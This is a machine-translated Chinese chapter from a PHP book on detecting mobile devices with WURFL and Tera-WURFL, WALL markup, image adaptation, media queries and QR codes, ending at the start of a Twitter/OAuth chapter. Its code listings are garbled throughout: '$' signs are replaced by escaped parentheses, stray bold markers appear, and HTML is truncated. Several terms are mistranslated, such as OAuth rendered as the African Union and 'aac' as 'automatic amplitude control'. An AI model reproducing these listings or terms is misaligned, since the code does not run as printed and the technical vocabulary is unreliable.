无线通用资源文件(WURFL)是一个 XML 文件,由 Luca Passani 发明,它包含移动设备功能。
简介
目前,WURFL 中列出了 500 多种不同的设备功能。使用 WURFL 的实现已经在包括 Java 和. NET 在内的许多语言和平台中被创建。在 PHP 中,官方 API 被称为新的 PHP WURFL API ,可在[
wurfl.sourceforge.net/nphp/](http://wurfl.sourceforge.net/nphp/)
获得。
设备功能使用继承堆栈层次结构。如果没有列出最具体型号的功能,则检查更通用的设备。如果该功能仍然没有列出,那么 WURFL 将检查下一个最通用的设备,并重复这个过程,直到达到基本根设备级别。这种分层结构节省了空间并提高了性能。WURFL 还试图通过 ZipArchive 使用 XML 文件的 ZIP 存档版本,ZIP archive 是 PHP >= 5.2.0 中包含的一个包。由于该文件的 ZIP 版本目前小于一兆字节(MB ),而实际的 XML 文件是 16MB,这是另一个性能改进。
了解特定设备的一些有用功能可能是屏幕分辨率、编解码器支持和格式、JavaScript、Java 和 Flash 支持。
注意对 XML 文件的贡献大部分是由开发者和最终用户自愿贡献的,并且可能包含错误。此外,新的设备一直在被创造出来。尽管它非常庞大和全面,但我们不应该期望 WURFL 是 100%准确的。如果您很快需要包含一个设备,您可以列出它的功能并将信息修补到主 XML 文件中。
如果准确性是最重要的,声称甚至更好的准确性的专有系统确实存在。
设置
对于本章中的所有例子,我们将把 WURFL 库文件放在一个名为wurfl,
的目录中,该目录相对于 webroot 为./wurfl/
。在我们的例子中,我们将使用一个公共的配置文件,并通过使用清单 3-6 中的代码每次获得一个WURFLManager
对象。
清单 3-6。创建一个 WURFLManager 对象:wurflSetup.php
`<?php
error_reporting(E_ALL);
define( "WURFL_DIR", dirname(FILE) . '/wurfl/WURFL/' );
define( "RESOURCES_DIR", dirname(FILE) . "/wurfl/examples/resources/" );
require_once WURFL_DIR . 'Application.php';
function getWurflManager() {
\(config_file = RESOURCES_DIR . 'wurfl-config.xml';
\)wurfl_config = new WURFL_Configuration_XmlConfig( $config_file );
$wurflManagerFactory = new WURFL_WURFLManagerFactory( $wurfl_config );
return $wurflManagerFactory->create();
}
?>`
带 WURFL 的检测设备
在我们的第一个设备检测示例中,我们将使用新的 WURFL PHP API 打印出设备堆栈。我们将使用 fallback 和 id 属性输出 UA 的设备层次结构。参见清单 3-7 。
清单 3-7。输出用户代理的设备栈,从最特定到一般
`<?php
error_reporting(E_ALL);
require_once('wurflSetup.php');
$wurflManager = getWurflManager();
$device = \(wurflManager->getDeviceForHttpRequest(\)_SERVER);
print "
ID Stack is:
";
while ($device != null)
{
print \(device->id . "<br/>";
if (!\)device->fallBack || \(device->fallBack == "root")
{
break;
}
\)device = \(wurflManager->getDevice(\)device->fallBack);
}
print "
?>`
以下是在 Firefox 4 浏览器中浏览台式电脑时脚本的输出:
ID Stack is: firefox_1 firefox generic_web_browser generic_xhtml generic
在 Chrome 浏览器中:
ID Stack is: google_chrome_1 google_chrome generic_web_browser generic_xhtml generic
注意第一次运行清单 3-7 中的脚本可能需要很长时间,因为 WURFL 会构建资源缓存。您可能需要增加您的
php.ini max_execution_time
指令。
如果我们想使用另一个设备进行模拟,我们可以修改用户代理服务器变量。清单 3-7 的修改版本如清单 3-8 所示。输出如清单 3-9 所示。
清单 3-8。通过修改服务器用户代理仿真另一台设备
`<?php
error_reporting(E_ALL);
require_once('wurflSetup.php');
$wurflManager = getWurflManager();
$_SERVER['HTTP_USER_AGENT'] =
"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML,
** like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7";**
$device = $wurflManager->getDeviceForHttpRequest( $_SERVER );
print "
ID Stack is:
";
while ( $device != null) {
print \(device->id . "<br/>";
if ( !\)device->fallBack || \(device->fallBack == "root" )
{
break;
}
\)device = $wurflManager->getDevice( $device->fallBack );
}
print "
?>`
清单 3-9。仿真 iPhone 4 用户代理的 WURFL 输出
ID Stack is: apple_iphone_ver4_sub405 apple_iphone_ver4 apple_iphone_ver3_1_3
apple_iphone_ver3_1_2 apple_iphone_ver3_1 apple_iphone_ver3 apple_iphone_ver2_2_1 apple_iphone_ver2_2 apple_iphone_ver2_1 apple_iphone_ver2 apple_iphone_ver1 apple_generic generic_xhtml generic
使用 WURFL 检测和列出设备功能
在清单 3-10 中,我们将展示我们可以检查的可用能力组。我们还将输出display
和css
组所有可用的特定功能。输出如清单 3-11 所示。
清单 3-10。列出可用的能力组
`<?php
error_reporting(E_ALL);
require_once('wurflSetup.php');
$wurflManager = getWurflManager();
$device = $wurflManager->getDeviceForHttpRequest( \(_SERVER );
\)capability_groups = $wurflManager->getListOfGroups();
asort( $capability_groups );
foreach ( $capability_groups as $c ) {
print $c . "
";
}
?>`
*清单 3-11。清单 3-10 的输出清单 *
ajax bearer bugs cache chtml_ui css display drm flash_lite html_ui image_format j2me
markup mms object_download pdf playback product_info rss security sms sound_format storage streaming transcoding wap_push wml_ui wta xhtml_ui
为了输出所有可用能力的列表,我们可以修改清单 3-10 中的来使用getCapabilitiesNameForGroup
方法,如清单 3-12 中的所示。输出的第一部分如清单 3-13 中的所示。
清单 3-12。列出我们可以检查的所有能力
`<?php
error_reporting(E_ALL);
require_once('wurflSetup.php');
$wurflManager = getWurflManager();
$device = $wurflManager->getDeviceForHttpRequest( \(_SERVER );
\)capability_groups = $wurflManager->getListOfGroups();
asort( $capability_groups );
foreach ( $capability_groups as $c ) {
** print "" . $c . "
";**
** var_dump( $wurflManager->getCapabilitiesNameForGroup( $c ) );**
}
?>`
清单 3-13。第一部分输出自清单 3-12
`ajax
array
0 => string 'ajax_preferred_geoloc_api' (length=25)
1 => string 'ajax_xhr_type' (length=13)
2 => string 'ajax_support_getelementbyid' (length=27)
3 => string 'ajax_support_event_listener' (length=27)
4 => string 'ajax_manipulate_dom' (length=19)
5 => string 'ajax_support_javascript' (length=23)
6 => string 'ajax_support_inner_html' (length=23)
7 => string 'ajax_manipulate_css' (length=19)
8 => string 'ajax_support_events' (length=19)
bearer
array
0 => string 'sdio' (length=4)
1 => string 'wifi' (length=4)
2 => string 'has_cellular_radio' (length=18)
3 => string 'max_data_rate' (length=13)
4 => string 'vpn' (length=3)
…`
我们可以修改清单 3-12 使其在视觉上更加有用,并且只显示某些设备功能,用绿色复选标记作为支持功能的前缀(用 HTML 实体呈现),用红色删除线样式列出不支持的功能。参见清单 3-14 。输出如图图 3-1 所示。
清单 3-14。显示颜色编码的设备能力值
`<?php
error_reporting ( E_ALL );
require_once ('wurflSetup.php');
$wurflManager = getWurflManager ();
$device = $wurflManager->getDeviceForHttpRequest ( \(_SERVER );
\)capability_groups = $wurflManager->getListOfGroups ();
asort ( $capability_groups );
foreach ( $capability_groups as $group ) {
//only output the capabilities of certain groups
if (in_array ( $group, array ("ajax", "css", "image_format" ) )) {
print "" . $group . "
";
print "
- ";
- " . $name . ": " . $c . "";
}
print $c;
print " ";
foreach ( $wurflManager->getCapabilitiesNameForGroup ( $group ) as \(name ) { \)c = $device->getCapability ( \(name ); if (\)c == "false") {
\(c = "<li><span style='color:red; text-decoration:line- through;'>"; \)c .= \(name . "</span>"; } else if (\)c == "true") {
\(c = "<li><span style='color:green;'> ✓ "; \)c .= \(name . "</span>"; } else { \)c = "
}
print "}
}
?>`
图 3-1。清单 3-14 中的一些输出,显示更容易看到的设备功能
对于我们使用新的 WURFL PHP API 的最终脚本,我们将输出我们的用户代理设备的一些特定功能。见清单 3-15 。
清单 3-15。输出 iPhone 4 的选定音频和显示功能
`<?php
error_reporting(E_ALL);
require_once('wurflSetup.php');
$wurflManager = getWurflManager();
$_SERVER['HTTP_USER_AGENT'] =
"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9
(KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7";
$device = \(wurflManager->getDeviceForHttpRequest(\)_SERVER);
//output fields that interest us
//display information
print "
" . $device->id . "
";print "
Display:
";
print $device->getCapability( 'resolution_width' ) . " x "; //width
print $device->getCapability( 'resolution_height' ) . " : "; //height
print \(device->getCapability( 'colors' ) . ' colors<br/>';**
**print "dual orientation: ".\)device->getCapability( 'dual_orientation' ) . "
//audio information
print "
Supported Audio Formats:
";
foreach ( $wurflManager->getCapabilitiesNameForGroup( "sound_format" ) as \(name ) {**
** \)c = $device->getCapability( $name );
** if ( $c == "true") {**
** print $name . "
";**
** }**
}
print "
?>`
运行清单 3-15 输出以下信息:
`apple_iphone_ver4_sub405
Display:
320 x 480 : 65536 colors
dual orientation: true
Supported Audio Formats:
aac
mp3`
注如前所述,不保证用户代理识别。测试 Kindle 3 时,使用如下用户代理:
``Mozilla/5.0 (Linux; U; en-US) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+)![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/U002.jpg) Version/4.0 Kindle/3.0 (screen 600x800; rotate)
丹希拉得到了错误的结果:
toshiba_folio100_ver1 Display: 600 x 1024 : 256 colors dual orientation: true Supported Audio Formats: aac mp3
特创伏尔
WURFL 的 Tera-WURFL 实现于[www.tera-wurfl.com](http://www.tera-wurfl.com)
发布。新的 PHP WURFL API 专注于精确的结果。Tera-WURFL 更注重性能。为了实现这一点,使用数据库而不是大的 XML 文件来获取结果。Tera-WURFL 目前支持 MySQL、Microsoft SQL Server 和 MongoDB。它声称比普通的 WURFL 快五到十倍,准确率达 99%,并提供更好的桌面检测。此外,Tera-WURFL 提供了显示正在使用的移动设备的图片的能力。稍后我们将展示如何显示设备图像。
设置
要设置 Tera-WURFL,我们需要执行以下操作:
- 创建一个数据库,并修改
TeraWurflConfig.php
配置文件中的凭证以使用它。 - 在
[
localhost/Tera-WURFL/admin/](http://localhost/Tera-WURFL/admin/)
进入管理页面。如果您收到由于缺少表而导致的错误,不要担心——当我们加载数据时,会创建这些表。 - 您可以加载本地 XML 文件或远程 XML 文件。
注意如果你收到一个类似于
fatal error maximum function nesting level of '100' reached aborting,
的错误信息,那么你需要暂时禁用php.ini
文件中的xdebug
,或者通过将 php.ini 指令xdebug.max_nesting_level=100
设置为一个更高的值,比如 500,来增加你的 xdebug 嵌套级别限制。
Tera-WURFL 检测设备
在我们使用 Tera-WURFL 的第一个例子中,如清单 3-16 所示,我们将输入 iPhone 4 的用户代理字符串,并验证 Tera-WURFL 能够识别它并正确设置。
清单 3-16。识别特定用户代理的 Tera-WURFL 代码
`<?php
error_reporting(E_ALL);
require_once('Tera-WURFL/TeraWurfl.php');
\(teraWURFL = new TeraWurfl();
\)iphone_ua = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us)
AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7";
if ( $teraWURFL->getDeviceCapabilitiesFromAgent( \(iphone_ua ) ) {
print "ID: ".\)teraWURFL->capabilities['id']."
";
} else {
print "device not found";
}
?>`
运行清单 3-16 的输出是:
ID: apple_iphone_ver4_sub405
如果我们没有将 user-agent 作为参数传入,那么就像 WURFL 一样,结果将来自实际使用的客户机。
使用 Tera-WURFL 检测和列出设备功能
在清单 3-17 中,我们将输出 iPhone 设备的显示和音频功能。这是等同于清单 3-15 中的 WURFL 功能的 Tera-WURFL。
清单 3-17。使用 Tera-WURFL 确定 iPhone 4 的显示和声音格式功能
`<?php
error_reporting(E_ALL);
require_once('Tera-WURFL/TeraWurfl.php');
\(teraWURFL = new TeraWurfl();
\)iphone_ua = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us)
AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7";
if ( $teraWURFL->getDeviceCapabilitiesFromAgent( \(iphone_ua ) ) { \)brand_name = \(teraWURFL->getDeviceCapability( "brand_name" ); \)model_name = \(teraWURFL->getDeviceCapability( "model_name" ); \)model_extra_info = $teraWURFL->getDeviceCapability( "model_extra_info" );
//output fields that interest us
print "
" . $brand_name . " " . $model_name . " " . $model_extra_info . "
";//display information
print "
Display:
";
print $teraWURFL->getDeviceCapability( 'resolution_width' ) . " x "; //width
print $teraWURFL->getDeviceCapability( 'resolution_height' ) . " : "; //height
print $teraWURFL->getDeviceCapability( 'colors' ) . ' colors
';
print "dual orientation: " . $teraWURFL->getDeviceCapability( 'dual_orientation' );
print "
//audio information
print "
Supported Audio Formats:
";
foreach ( $teraWURFL->capabilities['sound_format'] as $name => $value ) {
if ( $value == "true" ) {
print $name . "
";
}
}
print "
} else
{
print "device not found";
}
?>`
清单 3-17 的输出是:
苹果 iPhone 4.0
显示:
320 x 480 : 65536 色
双重定位:1
支持的音频格式:
自动幅度控制(Automatic Ampltiude Control 的缩写)
mp3
用 Tera-WURFL 输出设备图像
在 Tera-WURFL 的最后一个例子中,我们将输出一个设备映像。首先,我们需要从[
sourceforge.net/projects/wurfl/files/WURFL%20Device%20img/.](http://sourceforge.net/projects/wurfl/files/WURFL%20Device%20img/.)
下载设备映像的档案,然后我们需要解压缩文件并将内容放入一个可通过网络访问的文件夹中。我们将在/Tera-WURFL/
中创建一个名为device_pix
的文件夹。我们将在清单 3-17 中添加我们之前的例子。首先,我们需要包含新的实用程序文件,然后我们可以添加代码来获取适当的设备映像并显示它。参见清单 3-18 。输出如图 3-2 所示。
清单 3-18。显示设备图像
`<?php
error_reporting ( E_ALL );
require_once ('Tera-WURFL/TeraWurfl.php');
require_once ('Tera-WURFL/TeraWurflUtils/TeraWurflDeviceImage.php');
\(teraWURFL = new TeraWurfl ();
\)iphone_ua = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us)?
AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/6531.22.7";
if ($teraWURFL->getDeviceCapabilitiesFromAgent ( \(iphone_ua )) { \)brand_name = \(teraWURFL->getDeviceCapability ( "brand_name" ); \)model_name = \(teraWURFL->getDeviceCapability ( "model_name" ); \)model_extra_info = $teraWURFL->getDeviceCapability ( "model_extra_info" );
//output fields that interest us
print "
" . $brand_name . " " . $model_name . " " . $model_extra_info . "
";//image
$image = new TeraWurflDeviceImage ( \(teraWURFL );
//location on server
\)image->setBaseURL ( '/Tera-WURFL/device_pix/' );
//location on filesystem
$image->setImagesDirectory ( $_SERVER ['DOCUMENT_ROOT'].
'/Tera-WURFL/device_pix/' );
$image_src = \(image->getImage ();
if (\)image_src) {
print '';
} else {
echo "No image available";
}
//display information
print "
Display:
";
print $teraWURFL->getDeviceCapability ( 'resolution_width' ) . " x "; //width
print $teraWURFL->getDeviceCapability ( 'resolution_height' ) . " : "; //height
print $teraWURFL->getDeviceCapability ( 'colors' ) . ' colors
';
print "dual orientation: " . $teraWURFL->getDeviceCapability ( 'dual_orientation' );
print "
//audio informationprint "
Supported Audio Formats:
";
foreach ( $teraWURFL->capabilities ['sound_format'] as $name => \(value ) {
if (\)value == "true") {
print $name . "
";
}
}
print "
} else {
print "device not found";
}
?>`
![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/0302.jpg)
图 3-2。清单 3-18 的输出,显示设备图像
渲染工具
为了动态调整不同移动设备上的内容,我们可以使用几种工具。其中包括使用无线抽象库(WALL)的抽象标记、自动调整图像大小和 CSS 媒体属性。
墙
除了 WURFL,Luca Passani 还负责创建 WALL。WALL 是一个抽象移动设备中的标记的库。这到底是什么意思?首先,你需要知道与普通桌面浏览器上的内容不同,这些内容是用 HTML 或 XHTML 编写的,在移动设备上有更多差异更大的标记变体。
一些最常见的可用标记方案如下:
- XHTML MP(移动配置文件)
- 压缩 HTML
- 超文本标记语言
所有这些标记语言中可接受的标记的交集非常有限。例如,显示为<br>
而不是<br/>
的换行符标签可能会被忽略或导致错误,这取决于所使用的标记。
有了 WALL,我们可以将换行符标记为<wall:br/
>。使用 WURFL,我们可以通过找到preferred_markup
功能来找到设备的期望标记。有了这些信息,WALL 将为设备呈现适当的标记,如<br>
或<br/>
。
WALL 最初是为 Java Servlet Pages (JSP)编写的。可在[
laacz.lv/dev/Wall/](http://laacz.lv/dev/Wall/)
获得的库 WALL4PHP 是为 PHP 编写的。该库还有一个更新版本,由 Tera-WURFL 开发人员维护,可在[
github.com/kamermans/WALL4PHP-by-Tera-WURFL](https://github.com/kamermans/WALL4PHP-by-Tera-WURFL)
获得。在下面的例子中,我们将使用原始的实现。在[
www.tera-wurfl.com/wiki/index.php/WALL4PHP](http://www.tera-wurfl.com/wiki/index.php/WALL4PHP)
可以找到将墙壁与 WURFL 集成的详细说明。
带有 WALL 的 PHP 文件可能看起来像清单 3-19 中的。
清单 3-19。带墙壁标记的文档
<?php require_once('WALL4PHP/wall_prepend.php'); ?> <wall:document><wall:xmlpidtd /> <wall:head> <wall:title>WALL is Cool</wall:title> </wall:head> <wall:body> <wall:h1>A header</wall:h1> <wall:block>This will be a paragraph in HTML</wall:block> <wall:menu autonumber="true"> <wall:a href="http://urlA">A</wall:a> <wall:a href="http://urlB">B</wall:a> </wall:menu> </wall:body> </wall:document>
根据用户代理的不同,渲染会有所不同。如果设备支持 HTML,标记可以输出,如清单 3-20 所示。
清单 3-20。支持 HTML 的设备的渲染标记
`
` `A header
This will be a paragraph in HTML
`图像大小调整
另一个 WURFL 实用程序是 PHP 图像渲染库,可在[
wurfl.sourceforge.net/utilities/dwld/ImageAdapter.zip](http://wurfl.sourceforge.net/utilities/dwld/ImageAdapter.zip)
获得。该实用程序与 WURFL 一起工作,获取源图像并生成适当大小的输出图像以供显示。如有必要,图像也将被转换为设备支持的格式。这个工具要求你已经为 PHP 安装了 GD 图形库,可以在 http://php.net/manual/en/book.image.php 的找到。
设置 PHP 图像渲染库的说明位于[
wurfl.sourceforge.net/utilities/phpimagerendering.php](http://wurfl.sourceforge.net/utilities/phpimagerendering.php)
。
基本轮廓如下:
- 创建新数据库
- 改变 DBConfig.php
一旦建立了数据库,我们只需要提供一个图像和目标用户代理。参见清单 3-21 。
清单 3-21。基于 ImageAdapter 库文件example.php
的代码,用两个不同的用户代理输出图像
`<?php
error_reporting ( E_ALL ^ E_DEPRECATED);
require_once ('ImageAdapter/imageAdaptation.php');
$base_image = 'ImageAdapter/imgc/eye.jpg';
\(iphone_ua = "Mozilla/4.0 (compatible; MSIE 4.01;
Windows CE; PPC; 240x320; HP iPAQ h6300)";
\)img = convertImageUA ( $base_image, $iphone_ua );
if ( \(img ) {
print "<img src=\"\)img">
";
}
\(trident_ua = "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; 7 Mozart; Orange)";` `\)img = convertImageUA ( $base_image, $trident_ua );
if ( \(img ) {
print "<img src=\"\)img">";
}
?>`
图 3-3。top image:iphone ua;底部图像:三叉戟 UA
注意如果清单 3-21 没有运行在与 WURFL 库文件相同的目录下,那么你需要调整文件
wurfl_class.php
、wurfl_config.php
和imageAdapation.php
的相对包含路径。将require_once('./wurfl_config.php');
改为require_once('/ImageAdapter/wurfl_config.php');
这个工具已经过时了,因为它使用了不推荐使用的ereg_replace
,并且代码风格有些松散。但是,它确实可以工作,并展示了使用 WURFL 功能可以获得的强大功能。
响应式 CSS
为了使网页设计更具响应性,我们可以使用流体网格布局,并像上一节一样调整图像大小。我们也可以使用移动特定的样式表。CSS3 最近的一个进步是媒体查询。可以查询的属性有宽度、高度、器件宽度、器件高度、取向、器件宽高比、器件宽高比、颜色、颜色索引、mon chrome、分辨率、参见清单 3-22 。
清单 3-22。设备属性媒体查询示例
@media screen and (min-device-width:400px) and (max-device-width:600px){ /* limit device width */ } @media screen and (orientation:landscape){ /* good for flippable devices like the iPad and kindle */ }
对 CSS 的深入探讨超出了本书的范围,但是在[www.netmagazine.com/tutorials/adaptive-layouts-media-queries](http://www.netmagazine.com/tutorials/adaptive-layouts-media-queries)
有一篇很好的文章。所有这些技术都可以改善网站的移动显示。有关 CSS3 规范媒体查询的更多信息,请访问[www.w3.org/TR/css3-mediaqueries](http://www.w3.org/TR/css3-mediaqueries)
。
仿真器和软件开发工具包
为了帮助有限的预算,负担不起物理电话测试和全面易用,许多模拟器和软件开发工具包(SDK)存在的移动设备。有些只能模拟一个设备,而有些可以一次模拟几个设备。以下是一些链接:
- Android:t0]
- 苹果:
[
developer.apple.com/devcenter/ios/index.action](http://developer.apple.com/devcenter/ios/index.action)
- 黑莓:
[www.blackberry.com/developers/downloads/simulators/](http://www.blackberry.com/developers/downloads/simulators/)
- Kindle:
[www.amazon.com/kdk/](http://www.amazon.com/kdk/)
- Opera Mini:
[www.opera.com/mobile/demo](http://www.opera.com/mobile/demo)
/ - 视窗:
[
create.msdn.com/en-us/resources/downloads](http://create.msdn.com/en-us/resources/downloads)
在安卓系统上开发
谷歌的 Android 操作系统可以运行 Java 和原生 C 代码。位于[
code.google.com/p/android-scripting/](http://code.google.com/p/android-scripting/)
的 Android 脚本层(SL4A)项目支持 Android 上的脚本语言。然而,PHP 不是目前官方支持的脚本语言之一。
要在 Android 上开发应用,我们可以使用开源 PHP for Android 项目,可在[www.phpforandroid.net/](http://www.phpforandroid.net/)
获得。这个项目通过提供一个 Android 包(APK)文件,为 SL4A 中的 PHP 提供非官方支持。
Adobe Flash Builder for PHP
最近,Zend 宣布它已经与 Adobe 合作,将 PHP 支持引入 Flash Builder 4.5(见图 3-4 )。关于 Flash Builder for PHP 的更多信息可以在 IDE 中的[www.zend.com/en/products/studio/flash-builder-for-php/.](http://www.zend.com/en/products/studio/flash-builder-for-php/.)
Flash Builder for PHP integrated Zend Studio 找到。Flex 可以在前端和 PHP 后端一起使用。
IDE 致力于加速开发并提高移动代码的跨平台能力。它甚至可以交叉编译 Flex 代码,以便在 iPhone 和 iPad 等 iOS 设备上原生运行。
图 3-4。Zend 网站上的 Flash Builder 公告页面
二维码
QR(快速响应)码是一种 2D 条形码。大约 20 年前,日本引进了这种仪器,以帮助跟踪汽车零部件。内置摄像头的现代移动设备导致二维码在全球范围内流行。
QR 码通常代表一个 URL,但可以包含大量文本。我们将展示如何使用三个不同的库轻松生成 QR 码。TCPDF 和 Google Chart API 这两个库在第十章中有更深入的介绍。
我们将在这里提到的第一个用于生成二维码的库 TCPDF 可在[www.tcpdf.org/](http://www.tcpdf.org/)
获得。使用 TCPDF,我们可以生成 QR 码作为 PDF 的一部分,但不能直接输出到独立的图像文件。参见清单 3-23 。
清单 3-23。使用 TCPDF 在 PDF 中生成二维码
`<?php
error_reporting(E_ALL);
require_once('/tcpdf/config/lang/eng.php');
require_once('/tcpdf/tcpdf.php');
\(pdf = new TCPDF(); //create TCPDF object
\)pdf->AddPage(); //add a new page
\(pdf->write2DBarcode( 'Hello world qrcode', 'QRCODE' );
//write 'Hello world qrcode' as a QR Code
\)pdf->Output( 'qr_code.pdf', 'I' ); //generate and output the PDF
?>`
图 3-5。二维码为字符串“Hello world qrcode”当由任何库生成时,图像应该看起来是相同的。
要将二维码保存到文件中,我们可以使用库 phpqrcode,该库可在[
phpqrcode.sourceforge.net/index.php](http://phpqrcode.sourceforge.net/index.php)
获得。见清单 3-24 。
清单 3-24。用 phpqrcode 生成 QR 码到图像文件或直接到浏览器
`<?php
require_once('phpqrcode/qrlib.php');
QRcode::png( 'Hello world qrcode', 'qrcode.png' ); //to a file
QRcode::png( 'Hello world qrcode' ); //direct to browser
?>`
我们也可以使用位于[
code.google.com/p/gchartphp/](http://code.google.com/p/gchartphp/)
的 Google Chart API 包装器。参见清单 3-25 。
清单 3-25。用 qrcodephp 生成二维码
`<?php
error_reporting(E_ALL);
require_once ('GChartPhp/gChart.php');
\(qr = new gQRCode();
\)qr->setQRCode( 'Hello world qrcode' );
echo "<img src="".$qr->getUrl()."" />";
?>`
总结
在本章中,我们讨论了检测移动设备及其功能。目前没有完美的设备检测系统,但我们拥有的是相当可靠的。也就是说,保持警惕并保持文件的最新状态取决于程序员——无论是使用 browscap、WURFL 还是其他系统。
我们还展示了能够抽象标记、自动调整图像大小和流畅调整内容大小的工具。尽可能使用为我们工作的工具。这项工作可以是了解一个设备的能力,如何转换现有的样式,图像和标记。自动化和协助都是很好的东西,应该在开发的所有领域使用和接受。
移动技术仍在发展,开发方法也在快速调整。要成为一名优秀的移动开发人员并保持下去,您需要跟上最佳实践、最新技术以及新兴的 SDK 和 API。
四、社交媒体
社交媒体融合了技术和通信来创造社交互动和协作。Twitter 和脸书是两个最受欢迎的社交媒体网站,吸引了数百万忠实用户,引发了一些争议,而在脸书的情况下,导致了一部获奖电影。
自 2006 年推出以来,Twitter 一直是世界上最受欢迎的微博服务。它已经提供了数十亿条推文(140 个字符或更短的消息),通过网络和 SMS(短消息服务)设备共享。马克·扎克伯格的大宝宝脸书比以往任何时候都更加引人注目。新闻报道了脸书的隐私问题,时代杂志宣布扎克伯格为年度人物,电影社交网络获得了很多好评。
*Twitter 和脸书都通过 OAuth 认证。在本章中,我们将解释 OAuth 是什么以及如何与之连接。
Twitter 有三个应用编程接口(API)。有一个使用 GET 查询的公共搜索 API 和两个私有 REST APIs。一个 REST API 在您的个人网络中提供特定的用户信息和动作,而另一个提供低延迟和高容量的流。在这一章中,我们将展示如何使用公共搜索 API 和认证后的私有 API。
有了 Twitter,你可以拥有朋友,他们被定义为你正在关注的人或正在关注你的人。我们将向您展示如何生成您的 Twitter 好友及其状态的列表。我们还将讨论将 Twitter 登录绑定到您自己网站的身份验证的高级主题,使用数据库来存储用户凭证,以及使用数据库缓存来帮助消除过度 tying Twitter 和达到我们的请求限制。
脸书有一个开发良好的 API 和一个官方的 PHP SDK。在这一章中,我们将学习用脸书创建一个新的应用,认证,并进行一些 API 调用。
非统组织
OAuth 代表开放身份验证,它使用为特定应用生成的密钥/秘密令牌字符串,这些字符串持续固定的时间。OAuth 发生在消费者应用和服务提供者之间。使用 OAuth 进行身份验证的基本步骤如下:
- OAuth 应用将其消费者令牌发送给服务提供商(如脸书或 Twitter ),以换取请求令牌。
- 系统会提示用户获取权限,并授予用户权限。
- 使用回叫 URL 或个人识别码(PIN)来验证许可请求。
- 请求令牌和 PIN(或回叫)被交换为访问令牌。
- 用户现在可以使用带有访问令牌的应用。
注更多 OAuth 信息,请访问
[
oauth.net](http://oauth.net)
。对于 Twitter 内部的 OAuth 来说,[
dev.twitter.com/pages/auth](http://dev.twitter.com/pages/auth)
是一个有价值的资源。
在撰写本文时,PHP 最流行的两个 OAuth 模块是 PECL OAuth 和 Zend_Oauth。关于 PECL OAuth 的信息可以在[www.php.net/manual/en/book.oauth.php](http://www.php.net/manual/en/book.oauth.php)
找到,Zend_Oauth 在[
framework.zend.com/manual/en/zend.oauth.html](http://framework.zend.com/manual/en/zend.oauth.html)
找到。
Twitter 提供了三种使用 OAuth 的机制。如果您只需要连接到应用所有者的帐户,那么您将获得可以直接使用的访问令牌。这允许您绕过上面概述的前四个步骤。如果您的程序允许多个用户访问他们的 Twitter 帐户,那么您可以对客户端应用使用 PIN 验证方法,或者定义一个回调页面,这样可以绕过让用户进行验证。我们将在本章的后面更深入地讨论每一种方法。
推特
公共搜索 API
要搜索特定的推文,我们不需要认证。从http://dev.twitter.com/doc/get/search
的 Twitter 搜索文档中,我们可以看到搜索 Twitter 的 URL 是:
http://search.twitter.com/search.format
(其中format
是 JSON 或者 Atom)。
可以设置可选参数,例如语言、地理编码、开始和结束时间间隔以及区域设置。搜索查询本身由参数q
表示。标准的 Twitter 符号是有效的,比如用户的@
和关键字散列标签的#
。查询[
search.twitter.com/search.json?q=montreal&lang=en&until=2010-10-21](http://search.twitter.com/search.json?q=montreal&lang=en&until=2010-10-21)
将搜索在 2010 年 10 月 21 日之前发布的带有“蒙特利尔”一词的英语推文。
清单 4-1 显示了一个搜索 Twitter 帖子的简单表单。
清单 4-1。搜索示例:twitter_get_search.php
`
$url = "http://search.twitter.com/search.json?lang=en&q=";if ( isset ( \(_POST ['query'] ) ) { \)full_query = $url . urlencode ( \(_POST ['query'] ); \)raw_json = file_get_contents ( \(full_query ); \)json = json_decode ( $raw_json );
//uncomment to display the available keys
/* foreach ( $json->results[0] as $key => $value ) {
echo $key . "
";
}
*/
echo "
";echo "";
foreach ( $json->results as $r ) {
echo '
';echo '';
echo '';
}
echo "
user | tweet |
---|---|
echo $r->from_user . ' | ' . $r->text . ' |
}
?> `
清单 4-1 的第一部分显示了一个简单的表单,带有一个用于查询的文本字段和一个提交按钮。下一部分检查表单提交并对查询进行编码。然后从生成的 URL 获取输出。我们使用json_decode
将返回的 JSON 格式的对象转换成 PHP 对象。我们留下了一些注释掉的代码,可以用来标识可用的字段。最后,结果被循环并显示为一个 HTML 表。
注意,我们在脚本的顶部调用了error_reporting(E_ALL ^ E_NOTICE);
,它显示了除通知之外的所有错误消息。这将有助于我们在出现问题时进行调试。关于 JSON 的更多信息可以在第十五章中找到。
私有 REST API
许多 PHP 库被编写成与 Twitter API 接口。然而,大多数这些库使用凭证(用户名和密码的组合)作为连接的基本身份验证。截至 2010 年 8 月,Twitter 使用 OAuth,不再支持基本认证。总之,许多与 Twitter 接口的库现在都过时了,或者至少需要更新。从基本身份验证更改为 OAuth 的原因是为了增加安全性。
最常用的 PHP OAuth-Twitter 库之一是 twitteroauth,可在[
github.com/abraham/twitteroauth/downloads](https://github.com/abraham/twitteroauth/downloads)
获得。我们将在整章中使用这个库。Twitteroauth 由两个主要文件组成,Twitteroauth 和 oauth.php。对于我们的例子,将两者都放在相对于 webroot 的目录'/twitteroauth/'
中。
您还需要确保启用了 curl library for PHP。所需的库文件会因您使用的操作系统而异。在 Windows 上,库是php_curl.dll
,在你的php.ini
文件中,你可以添加或者取消注释行extension=php_curl.dll
。在 Linux 上,库是curl.so
,你需要在你的php.ini
